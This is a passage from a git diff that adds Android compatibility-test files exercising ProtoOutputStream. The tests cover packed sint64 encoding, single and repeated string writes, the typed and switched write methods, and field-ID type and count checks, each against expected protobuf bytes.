+    /**
+     * Create an array of the val, and write it.
+     */
+    private void writePackedSInt64(ProtoOutputStream po, int fieldId, long val) {
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SINT64;
+        po.writePackedSInt64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), new long[] { val, val });
+    }
+
+    /**
+     * Implementation of testPacked with a given chunkSize.
+     */
+    public void testPacked(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SINT64;
+
+        po.writePackedSInt64(ProtoOutputStream.makeFieldId(1000, fieldFlags), null);
+        po.writePackedSInt64(ProtoOutputStream.makeFieldId(1001, fieldFlags), new long[0]);
+        writePackedSInt64(po, 1, 0);
+        writePackedSInt64(po, 2, 1);
+        writePackedSInt64(po, 3, -1);
+        writePackedSInt64(po, 4, Integer.MIN_VALUE);
+        writePackedSInt64(po, 5, Integer.MAX_VALUE);
+        writePackedSInt64(po, 6, Long.MIN_VALUE);
+        writePackedSInt64(po, 7, Long.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x02,
+                (byte)0x00,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x12,
+                (byte)0x02,
+                (byte)0x02,
+                (byte)0x02,
+                // 3 -> -1
+                (byte)0x1a,
+                (byte)0x02,
+                (byte)0x01,
+                (byte)0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x22,
+                (byte)0x0a,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x2a,
+                (byte)0x0a,
+                (byte)0xfe, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                (byte)0xfe, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x0f,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x32,
+                (byte)0x14,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x3a,
+                (byte)0x14,
+                (byte)0xfe, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                (byte)0xfe, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new long[] {});
+        testPackedCompat(new long[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,
+                Long.MIN_VALUE, Long.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testPackedSInt64Compat with a given value.
+     */
+    public void testPackedCompat(long[] val) throws Exception {
+        final int fieldId = 82;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SINT64;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.sint64FieldPacked = val;
+        po.writePackedSInt64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        Assert.assertArrayEquals(val, readback.sint64FieldPacked);
+    }
+
+    /**
+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeSInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeSInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SINT64), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedSInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_SINT64), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Packed
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedSInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE),
+                    new long[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedSInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_SINT64),
+                    new long[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+    
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamStringTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamStringTest.java
new file mode 100644
index 0000000..7b0debb
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamStringTest.java
@@ -0,0 +1,295 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the string methods on the ProtoOutputStream class.
+ */
+public class ProtoOutputStreamStringTest extends TestCase {
+
+    // ----------------------------------------------------------------------
+    //  writeString
+    // ----------------------------------------------------------------------
+
+    private static String makeLongString() {
+        final StringBuilder sb = new StringBuilder(0x9fff-0x4E00);
+        // All of the unicode unified CJK characters
+        for (int i=0x4E00; i<=0x9fff; i++) {
+            sb.append((char)(0x4E00 + i));
+        }
+        return sb.toString();
+    }
+
+    private static final String LONG_STRING = makeLongString();
+
+    public void testWriteLongString() throws Exception {
+        testWriteLongString(0);
+        testWriteLongString(1);
+        testWriteLongString(5);
+        testWriteLongString(1024 * 1024);
+    }
+
+    public void testWriteLongString(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_STRING;
+
+        final String string = LONG_STRING;
+
+        po.writeString(ProtoOutputStream.makeFieldId(1, fieldFlags), string);
+
+        final byte[] utf8 = string.getBytes("UTF-8");
+        byte[] expected = new byte[utf8.length + 4];
+
+        // tag
+        expected[0] = (byte)0x0a;
+        // size
+        expected[1] = (byte)0x82;
+        expected[2] = (byte)0xcc;
+        expected[3] = (byte)0x03;
+        // data
+        System.arraycopy(utf8, 0, expected, 4, utf8.length);
+
+        Assert.assertArrayEquals(expected, po.getBytes());
+    }
+
+    /**
+     * Test writeString.
+     */
+    public void testWrite() throws Exception {
+        testWrite(0);
+        testWrite(1);
+        testWrite(5);
+    }
+
+    /**
+     * Implementation of testWrite with a given chunkSize.
+     */
+    public void testWrite(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_STRING;
+
+        po.writeString(ProtoOutputStream.makeFieldId(1, fieldFlags), null);
+        po.writeString(ProtoOutputStream.makeFieldId(2, fieldFlags), "");
+        po.writeString(ProtoOutputStream.makeFieldId(3, fieldFlags), "abcd\u3110!");
+        po.writeString(ProtoOutputStream.makeFieldId(4, fieldFlags), "Hi");
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> null - default value, not written
+                // 2 -> "" - default value, not written
+                // 3 -> "abcd\u3110!"
+                (byte)0x1a,
+                (byte)0x08,
+                (byte)0x61, (byte)0x62, (byte)0x63, (byte)0x64,
+                (byte)0xe3, (byte)0x84, (byte)0x90, (byte)0x21,
+                // 4 -> "Hi"
+                (byte)0x22,
+                (byte)0x02,
+                (byte)0x48, (byte)0x69,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testWriteCompat() throws Exception {
+        // Nano doesn't work with null.
+        // testWriteCompat(null);
+
+        testWriteCompat("");
+        testWriteCompat("abcd\u3110!");
+    }
+
+    /**
+     * Implementation of testWriteCompat with a given value.
+     */
+    public void testWriteCompat(String val) throws Exception {
+        final int fieldId = 140;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_STRING;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.stringField = val;
+        po.writeString(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertEquals(val, readback.stringField);
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeRepeatedString
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeString.
+     */
+    public void testRepeated() throws Exception {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    public void testRepeated(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_STRING;
+
+        po.writeRepeatedString(ProtoOutputStream.makeFieldId(1, fieldFlags), null);
+        po.writeRepeatedString(ProtoOutputStream.makeFieldId(2, fieldFlags), "");
+        po.writeRepeatedString(ProtoOutputStream.makeFieldId(3, fieldFlags), "abcd\u3110!");
+        po.writeRepeatedString(ProtoOutputStream.makeFieldId(4, fieldFlags), "Hi");
+
+        po.writeRepeatedString(ProtoOutputStream.makeFieldId(1, fieldFlags), null);
+        po.writeRepeatedString(ProtoOutputStream.makeFieldId(2, fieldFlags), "");
+        po.writeRepeatedString(ProtoOutputStream.makeFieldId(3, fieldFlags), "abcd\u3110!");
+        po.writeRepeatedString(ProtoOutputStream.makeFieldId(4, fieldFlags), "Hi");
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> null - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x00,
+                // 2 -> "" - default value, written when repeated
+                (byte)0x12,
+                (byte)0x00,
+                // 3 -> "abcd\u3110!"
+                (byte)0x1a,
+                (byte)0x08,
+                (byte)0x61, (byte)0x62, (byte)0x63, (byte)0x64,
+                (byte)0xe3, (byte)0x84, (byte)0x90, (byte)0x21,
+                // 4 -> "Hi"
+                (byte)0x22,
+                (byte)0x02,
+                (byte)0x48, (byte)0x69,
+
+                // 1 -> null - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x00,
+                // 2 -> "" - default value, written when repeated
+                (byte)0x12,
+                (byte)0x00,
+                // 3 -> "abcd\u3110!"
+                (byte)0x1a,
+                (byte)0x08,
+                (byte)0x61, (byte)0x62, (byte)0x63, (byte)0x64,
+                (byte)0xe3, (byte)0x84, (byte)0x90, (byte)0x21,
+                // 4 -> "Hi"
+                (byte)0x22,
+                (byte)0x02,
+                (byte)0x48, (byte)0x69,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        // Nano doesn't work with null.
+        testRepeatedCompat(new String[0]);
+        testRepeatedCompat(new String[] { "", "abcd\u3110!", "Hi", });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    public void testRepeatedCompat(String[] val) throws Exception {
+        final int fieldId = 141;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_STRING;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.stringFieldRepeated = val;
+        for (int i=0; i<val.length; i++) {
+            po.writeRepeatedString(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val[i]);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.stringFieldRepeated);
+        assertEquals(val.length, readback.stringFieldRepeated.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.stringFieldRepeated[i]);
+        }
+    }
+
+    /**
+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeString(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE), "");
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeString(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_STRING), "");
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedString(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE), "");
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedString(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_STRING), "");
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamSwitchedWriteTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamSwitchedWriteTest.java
new file mode 100644
index 0000000..9052755
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamSwitchedWriteTest.java
@@ -0,0 +1,291 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.Log;
+import android.util.proto.ProtoOutputStream;
+import static android.util.proto.ProtoOutputStream.*;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+import java.util.HashMap;
+import java.util.ArrayList;
+
+/**
+ * Tests that the write() functions produce the same values as their typed counterparts.
+ */
+public class ProtoOutputStreamSwitchedWriteTest extends TestCase {
+    private static final String TAG = "ProtoOutputStreamSwitchedWriteTest";
+
+    public static abstract class WriteTester {
+        public final String name;
+
+        public WriteTester(String n) {
+            name = n;
+        }
+
+        abstract void write(Number val, long fieldId, ProtoOutputStream po);
+    }
+
+    private static final HashMap<Long,WriteTester> TYPED = new HashMap<Long,WriteTester>();
+    private static final ArrayList<WriteTester> SWITCHED = new ArrayList<WriteTester>();
+
+    static {
+        TYPED.put(FIELD_TYPE_DOUBLE | FIELD_COUNT_SINGLE,
+                new WriteTester("FIELD_TYPE_DOUBLE | FIELD_COUNT_SINGLE") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.writeDouble(fieldId, val.doubleValue());
+                    }
+                });
+        TYPED.put(FIELD_TYPE_FLOAT | FIELD_COUNT_SINGLE,
+                new WriteTester("FIELD_TYPE_FLOAT | FIELD_COUNT_SINGLE") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.writeFloat(fieldId, val.floatValue());
+                    }
+                });
+        TYPED.put(FIELD_TYPE_INT32 | FIELD_COUNT_SINGLE,
+                new WriteTester("FIELD_TYPE_INT32 | FIELD_COUNT_SINGLE") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.writeInt32(fieldId, val.intValue());
+                    }
+                });
+        TYPED.put(FIELD_TYPE_INT64 | FIELD_COUNT_SINGLE,
+                new WriteTester("FIELD_TYPE_INT64 | FIELD_COUNT_SINGLE") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.writeInt64(fieldId, val.longValue());
+                    }
+                });
+        TYPED.put(FIELD_TYPE_UINT32 | FIELD_COUNT_SINGLE,
+                new WriteTester("FIELD_TYPE_UINT32 | FIELD_COUNT_SINGLE") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.writeUInt32(fieldId, val.intValue());
+                    }
+                });
+        TYPED.put(FIELD_TYPE_UINT64 | FIELD_COUNT_SINGLE,
+                new WriteTester("FIELD_TYPE_UINT64 | FIELD_COUNT_SINGLE") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.writeUInt64(fieldId, val.longValue());
+                    }
+                });
+        TYPED.put(FIELD_TYPE_SINT32 | FIELD_COUNT_SINGLE,
+                new WriteTester("FIELD_TYPE_SINT32 | FIELD_COUNT_SINGLE") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.writeSInt32(fieldId, val.intValue());
+                    }
+                });
+        TYPED.put(FIELD_TYPE_SINT64 | FIELD_COUNT_SINGLE,
+                new WriteTester("FIELD_TYPE_SINT64 | FIELD_COUNT_SINGLE") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.writeSInt64(fieldId, val.longValue());
+                    }
+                });
+        TYPED.put(FIELD_TYPE_FIXED32 | FIELD_COUNT_SINGLE,
+                new WriteTester("FIELD_TYPE_FIXED32 | FIELD_COUNT_SINGLE") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.writeFixed32(fieldId, val.intValue());
+                    }
+                });
+        TYPED.put(FIELD_TYPE_FIXED64 | FIELD_COUNT_SINGLE,
+                new WriteTester("FIELD_TYPE_FIXED64 | FIELD_COUNT_SINGLE") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.writeFixed64(fieldId, val.longValue());
+                    }
+                });
+        TYPED.put(FIELD_TYPE_SFIXED32 | FIELD_COUNT_SINGLE,
+                new WriteTester("FIELD_TYPE_SFIXED32 | FIELD_COUNT_SINGLE") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.writeSFixed32(fieldId, val.intValue());
+                    }
+                });
+        TYPED.put(FIELD_TYPE_SFIXED64 | FIELD_COUNT_SINGLE,
+                new WriteTester("FIELD_TYPE_SFIXED64 | FIELD_COUNT_SINGLE") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.writeSFixed64(fieldId, val.longValue());
+                    }
+                });
+        TYPED.put(FIELD_TYPE_BOOL | FIELD_COUNT_SINGLE,
+                new WriteTester("FIELD_TYPE_BOOL | FIELD_COUNT_SINGLE") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.writeBool(fieldId, val.longValue() != 0);
+                    }
+                });
+        TYPED.put(FIELD_TYPE_ENUM | FIELD_COUNT_SINGLE,
+                new WriteTester("FIELD_TYPE_ENUM | FIELD_COUNT_SINGLE") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.writeEnum(fieldId, val.intValue());
+                    }
+                });
+
+        SWITCHED.add(new WriteTester("write(long, double)") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.write(fieldId, val.doubleValue());
+                    }
+                });
+        SWITCHED.add(new WriteTester("write(long, float)") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.write(fieldId, val.floatValue());
+                    }
+                });
+        SWITCHED.add(new WriteTester("write(long, int)") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.write(fieldId, val.intValue());
+                    }
+                });
+        SWITCHED.add(new WriteTester("write(long, long)") {
+                    @Override
+                    public void write(Number val, long fieldId, ProtoOutputStream po) {
+                        po.write(fieldId, val.longValue());
+                    }
+                });
+    }
+
+    private static void testAWrite(Number val, long fieldId,
+            WriteTester typed, WriteTester switched) {
+        final ProtoOutputStream switchedPo = new ProtoOutputStream();
+        final ProtoOutputStream typedPo = new ProtoOutputStream();
+
+        typed.write(val, fieldId, typedPo);
+        switched.write(val, fieldId, switchedPo);
+
+        final byte[] switchedResult = switchedPo.getBytes();
+        final byte[] typedResult = typedPo.getBytes();
+
+        try {
+            Assert.assertArrayEquals(typedResult, switchedResult);
+        } catch (Throwable ex) {
+            throw new RuntimeException("Test for " + typed.name + " and "
+                    + switched.name + " value=" + val + " (" + val.getClass().getSimpleName()
+                    + ") failed: " + ex.getMessage(), ex);
+        }
+    }
+
+    public static void testWrites(Number val) {
+        for (HashMap.Entry<Long,WriteTester> entry: TYPED.entrySet()) {
+            final long fieldId = ((long)entry.getKey()) | 1;
+            final WriteTester typed = entry.getValue();
+
+            for (WriteTester switched: SWITCHED) {
+                testAWrite(val, fieldId, typed, switched);
+            }
+        }
+    }
+/**
+     * Test double
+     */
+    public void testWriteDouble() {
+        testWrites(new Double(0));
+        testWrites(new Double(-1));
+        testWrites(new Double(1));
+        testWrites(new Double(100));
+    }
+
+    /**
+     * Test float
+     */
+    public void testWriteFloat() {
+        testWrites(new Float(0));
+        testWrites(new Float(-1));
+        testWrites(new Float(1));
+        testWrites(new Float(100));
+    }
+
+    /**
+     * Test int
+     */
+    public void testWriteInteger() {
+        testWrites(new Integer(0));
+        testWrites(new Integer(-1));
+        testWrites(new Integer(1));
+        testWrites(new Integer(100));
+    }
+
+    /**
+     * Test long
+     */
+    public void testWriteLong() {
+        testWrites(new Long(0));
+        testWrites(new Long(-1));
+        testWrites(new Long(1));
+        testWrites(new Long(100));
+    }
+
+    /**
+     * Test single strings
+     */
+    public void testWriteString() {
+        final ProtoOutputStream typedPo = new ProtoOutputStream();
+        final ProtoOutputStream switchedPo = new ProtoOutputStream();
+
+        testString(1, "", typedPo, switchedPo);
+        testString(2, null, typedPo, switchedPo);
+        testString(3, "ABCD", typedPo, switchedPo);
+
+        final byte[] typedResult = typedPo.getBytes();
+        final byte[] switchedResult = switchedPo.getBytes();
+
+        Assert.assertArrayEquals(typedResult, switchedResult);
+    }
+
+    private void testString(int id, String val,
+            ProtoOutputStream typed, ProtoOutputStream switched) {
+        switched.write(FIELD_TYPE_STRING | FIELD_COUNT_SINGLE | id, val);
+        typed.writeString(FIELD_TYPE_STRING | FIELD_COUNT_SINGLE | id, val);
+    }
+
+    /**
+     * Test repeated strings
+     */
+    public void testWriteRepeatedString() {
+        final ProtoOutputStream typedPo = new ProtoOutputStream();
+        final ProtoOutputStream switchedPo = new ProtoOutputStream();
+
+        testRepeatedString(1, "", typedPo, switchedPo);
+        testRepeatedString(2, null, typedPo, switchedPo);
+        testRepeatedString(3, "ABCD", typedPo, switchedPo);
+
+        final byte[] typedResult = typedPo.getBytes();
+        final byte[] switchedResult = switchedPo.getBytes();
+
+        Assert.assertArrayEquals(typedResult, switchedResult);
+    }
+
+    private void testRepeatedString(int id, String val,
+            ProtoOutputStream typed, ProtoOutputStream switched) {
+        switched.write(FIELD_TYPE_STRING | FIELD_COUNT_REPEATED | id, val);
+        typed.writeRepeatedString(FIELD_TYPE_STRING | FIELD_COUNT_REPEATED | id, val);
+    }
+
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamTagTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamTagTest.java
new file mode 100644
index 0000000..3b38aba
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamTagTest.java
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test tag related methods on ProtoOutputStream.
+ */
+public class ProtoOutputStreamTagTest extends TestCase {
+    /**
+     * Test that check field ID matches exactly the field Id.
+     */
+    public void testCheckFieldIdTypes() throws Exception {
+        assertCheckFieldIdThrows(ProtoOutputStream.FIELD_TYPE_DOUBLE, ProtoOutputStream.FIELD_TYPE_INT32);
+        ProtoOutputStream.checkFieldId(1 | ProtoOutputStream.FIELD_TYPE_ENUM, ProtoOutputStream.FIELD_TYPE_ENUM);
+    }
+
+    /**
+     * Test that check field ID matches the table of count checks.
+     */
+    public void testCheckFieldIdCounts() throws Exception {
+        // UNKNOWN provided
+        ProtoOutputStream.checkFieldId(1 | ProtoOutputStream.FIELD_COUNT_UNKNOWN,
+                ProtoOutputStream.FIELD_COUNT_UNKNOWN);
+        assertCheckFieldIdThrows(ProtoOutputStream.FIELD_COUNT_UNKNOWN, ProtoOutputStream.FIELD_COUNT_SINGLE);
+        assertCheckFieldIdThrows(ProtoOutputStream.FIELD_COUNT_UNKNOWN, ProtoOutputStream.FIELD_COUNT_REPEATED);
+        assertCheckFieldIdThrows(ProtoOutputStream.FIELD_COUNT_UNKNOWN, ProtoOutputStream.FIELD_COUNT_PACKED);
+
+        // SINGLE provided
+        ProtoOutputStream.checkFieldId(1 | ProtoOutputStream.FIELD_COUNT_SINGLE,
+                ProtoOutputStream.FIELD_COUNT_SINGLE);
+        assertCheckFieldIdThrows(ProtoOutputStream.FIELD_COUNT_SINGLE, ProtoOutputStream.FIELD_COUNT_REPEATED);
+        assertCheckFieldIdThrows(ProtoOutputStream.FIELD_COUNT_SINGLE, ProtoOutputStream.FIELD_COUNT_PACKED);
+
+        // REPEATED provided
+        assertCheckFieldIdThrows(ProtoOutputStream.FIELD_COUNT_REPEATED, ProtoOutputStream.FIELD_COUNT_SINGLE);
+        ProtoOutputStream.checkFieldId(1 | ProtoOutputStream.FIELD_COUNT_REPEATED,
+                ProtoOutputStream.FIELD_COUNT_REPEATED);
+        assertCheckFieldIdThrows(ProtoOutputStream.FIELD_COUNT_REPEATED, ProtoOutputStream.FIELD_COUNT_PACKED);
+
+        // PACKED provided
+        assertCheckFieldIdThrows(ProtoOutputStream.FIELD_COUNT_PACKED, ProtoOutputStream.FIELD_COUNT_SINGLE);
+        ProtoOutputStream.checkFieldId(1 | ProtoOutputStream.FIELD_COUNT_PACKED,
+                ProtoOutputStream.FIELD_COUNT_REPEATED);
+        ProtoOutputStream.checkFieldId(1 | ProtoOutputStream.FIELD_COUNT_PACKED,
+                ProtoOutputStream.FIELD_COUNT_PACKED);
+    }
+
+    /**
